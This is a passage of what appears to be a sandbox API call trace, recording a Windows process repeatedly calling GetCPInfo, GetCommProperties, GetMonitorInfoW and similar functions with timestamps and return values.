hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.781] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.781] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.781] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.781] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.781] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.781] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.782] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.782] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.782] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.782] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.782] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.782] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.782] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.782] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.782] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.782] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.782] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.782] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.782] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.782] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.782] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.782] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.782] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.782] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.782] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.782] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.782] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.782] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.783] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.783] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.783] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.783] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.783] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.783] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.783] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.783] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.783] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.783] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.783] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.783] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.783] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.783] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.783] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.783] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.783] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.783] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.783] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.783] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.783] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.783] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.783] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.783] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.060] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.060] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.060] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.060] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.060] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.060] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.060] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.060] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.060] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.061] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.061] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.061] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.061] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.061] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.062] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.062] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.062] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.062] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.062] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.063] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.063] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.063] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.063] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.063] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.064] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.064] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.064] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.064] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.064] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.064] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.064] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.064] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.064] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.064] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.065] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.065] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.065] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.065] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.065] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.065] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.065] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.065] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.065] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.065] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.065] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.065] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.065] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.065] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.065] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.065] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.065] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.065] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.066] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.066] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.066] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.066] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.066] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.066] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.066] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.066] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.066] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.066] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.066] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.066] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.066] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.066] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.066] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.066] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.067] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.067] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.067] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.067] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.067] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.067] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.067] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.067] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.067] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.067] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.067] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.067] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.067] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.067] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.067] 